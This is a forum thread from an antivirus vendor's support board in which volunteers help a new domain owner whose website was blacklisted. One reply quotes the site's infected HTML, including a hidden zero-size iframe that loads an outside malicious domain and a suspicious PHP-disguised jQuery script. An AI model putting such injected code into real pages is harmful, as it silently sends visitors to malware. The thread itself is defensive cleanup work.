Avast has blocked my website

system · 2015-10-31T20:24:47.000Z

Avast has blocked my new domain / website
the site is that the empty stands on hostinger.ru. in the database do not have nothing but zablakirovali . Problem probably had to buy my domain . please clean it …
Here screen http://imgur.com/JeImrQh
Website http : // likenews.am
In advance thank you … : - [

Pondus · 2015-10-31T21:16:04.000Z

IP history https://www.virustotal.com/en/ip-address/31.220.16.224/information/ click more button under list (s) for more info

jeffersonsant · 2015-10-31T21:27:42.000Z

Site is blacklist
https://sitecheck.sucuri.net/results/likenews.am/

<!-- 1bc||stat -->
<style> #stat { width:0px; height:0px; } </style> <iframe id="stat" src="http://cellulitecenter.info/l/" height=480 width=640 frameborder=0></iframe>
<!-- /1bc||stat --><!DOCTYPE html>
<html lang="ru-RU">
<head>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>
<script type="text/javascript" src="http://likenews.am/wp-includes/js/jquery.js.php"></script>
<script type="text/javascript" sr
...[99265 bytes skipped]...

found here

http://killmalware.com/likenews.am/

hidden iframe redirection to site malicious

https://www.virustotal.com/en/url/bab032131ea30b2e410f832cdfa20164b9679550cdd2f578b35009cab6e5f208/analysis/1446326683/

https://sitecheck.sucuri.net/results/cellulitecenter.info

system · 2015-10-31T21:51:49.000Z

What should I do?
Can you fix it?

system · 2015-10-31T21:55:09.000Z

I’m the new owner of this domain . I do not know what the previous owner did . You can tell whether this is the fix?

jeffersonsant · 2015-10-31T22:08:27.000Z

haikjan86 post:5:

I’m the new owner of this domain . I do not know what the previous owner did . You can tell whether this is the fix?

You need to clean
I am not administrator and I cannot unblock it ?
Wait for Polonus,assume that he understands but these issues.

system · 2015-10-31T22:58:53.000Z

everything is cleared. Now there no viruses. How can I contact the administrator ?

polonus · 2015-10-31T23:45:34.000Z

First the jQuery that is vulnerable there: -http://likenews.am
Detected libraries:
jquery-migrate - 1.2.1 : -http://likenews.am/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1
Info: Severity: medium
http://bugs.jquery.com/ticket/11290
http://research.insecurelabs.org/jquery/test/
jquery - 1.11.3 : (active1) -http://likenews.am/wp-includes/js/jquery/jquery.js?ver=1.11.3
(active) - the library was also found to be active by running code
1 vulnerable library detected

Scanner output:
Scanning -http://likenews.am …
Script loaded: -http://likenews.am/wp-includes/js/wp-emoji-release.min.js?ver=4.3.1
Script loaded: -http://likenews.am/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1
Script loaded:–http://likenews.am/wp-content/themes/blackwell/js/superfish.js?ver=4.3.1
Script loaded: -http://likenews.am/wp-content/themes/blackwell/js/bigslide.js?ver=4.3.1
Script loaded: -http://likenews.am/wp-content/themes/blackwell/js/custom.js?ver=4.3.1
Script loaded: -http://likenews.am/wp-content/themes/blackwell/js/jquery.singlePageNav.js?ver=4.3.1
Script loaded: -http://likenews.am/wp-includes/js/jquery/jquery.js?ver=1.11.3
Status: success
Detected library: jquery - 1.11.3
Load time: 2738ms

See to it there is no user enumeration enabled in WordPress nor directory listing enabled.

Minor issues here, see third script: http://www.domxssscanner.com/scan?url=http%3A%2F%2Flikenews.am

Given as clean here: https://urlquery.net/report.php?id=1446333511471

Excessive server header info proliferation: Running on: Apache/2.2.15 server version should not be spread globally and to attackers, ask hoster to change configuration.

Allthough this no longer resolves: -http://likenews.am/tube/category/առանց-կարգի AOS still warns on it! Some compression can be detected, but there is no threat.

When site is clean and secure (look at the vulnerabilities I pointed out) only an Avast Team Member can unblock your website
or alter the AOS warning “dangerous site”). We here are only volunteers with some relevant knowledge.

polonus (volunteer website security analyst and website error-hunter)

jeffersonsant · 2015-11-01T19:58:26.000Z

haikjan86 post:7:

everything is cleared. Now there no viruses. How can I contact the administrator ?

Thanks for confirmation

Reported for virus analysts

HonzaZ · 2015-11-02T10:55:45.000Z

Hi,
likenews.am unblocked

Announcements